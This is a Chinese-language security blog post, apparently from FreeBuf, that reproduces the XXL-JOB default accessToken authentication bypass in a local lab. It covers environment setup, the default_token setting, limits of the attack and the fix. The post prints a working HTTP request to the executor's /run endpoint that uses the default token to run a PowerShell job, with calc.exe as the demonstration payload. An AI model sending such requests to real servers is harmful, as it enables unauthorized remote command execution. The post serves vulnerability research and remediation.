124
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

起因:
昨天看见微步发布XXL-JOB默认accessToken身份绕过漏洞,之前hw期间遇到过几次,都没弱口令和未授权,对其有点印象,遂复现一下。
漏洞影响:2.3.1和2.4
FreeBuf之前已经有人分析过了:https://www.freebuf.com/articles/web/253938.html
不知道作者这么就在2.3.1后赋了个默认值 [狗头]
环境准备:
1、下载即可:https://github.com/xuxueli/xxl-job/releases/tag/2.4.0
将其导入IDEA中,即可进行分析。环境要求:Maven3+、Jdk1.8+、Mysql5.7+
ps:关于IDEA和maven配置网上文章很多,不过多赘述。
2、mysql数据库创建xxl_job数据库,解压下载的文件将doc/db/下的tables_xxl_job.sql打开运行里面的sql脚本。
3、配置对应的数据库账号密码
4、然后运行就可以了,需要用到8080、8081可以自己在application.properties里面的server.port修改
漏洞分析复现:
通过微步的漏洞通报说是
然后就看回到项目中看这个applictation.properties文件,*.properties是spring项目中配置文件的后缀,配置信息基本都在这个.peoperties文件中。文件位于src/main/resources/application.properties
参照官方文档中的:官方文档
默认情况下是非空的,也就是xxl.job.accessToken=default_token,所以就是利用点在这里。翻看之前的版本accessToken都为空,直到2.3.1后才出现默认值。
关于accessToken官方文档也给出了样例:官方样例
跟着样例即可复现成功,需要注意的是这里脚本的选择,由于我是win下运行的所以使用到了powershell。
ps:跟着样例,跟着样例,跟着样例
POST /run HTTP/1.1Host: 127.0.0.1:9999User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101Firefox/117.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Connection: close XXL-JOB-ACCESS-TOKEN: default_token Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Content-Length: 365 { "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "SERIAL_EXECUTION", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003729, "glueType": "GLUE_POWERSHELL", "glueSource": "calc.exe", "glueUpdatetime": 1586699003758, "broadcastIndex": 0, "broadcastTotal": 0 }
漏洞的限制:
该漏洞需要注册执行器,并在本地开启一个端口,通过该端口提供的服务进行任务执行。也就是说需要开启一个端口。假设网站设置了反向代理或防火墙限制了端口,那么该漏洞就无法利用了。
修复:
把accessToken置空就好啦,使用accessToken时设置强accessToken或随机accessToken
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)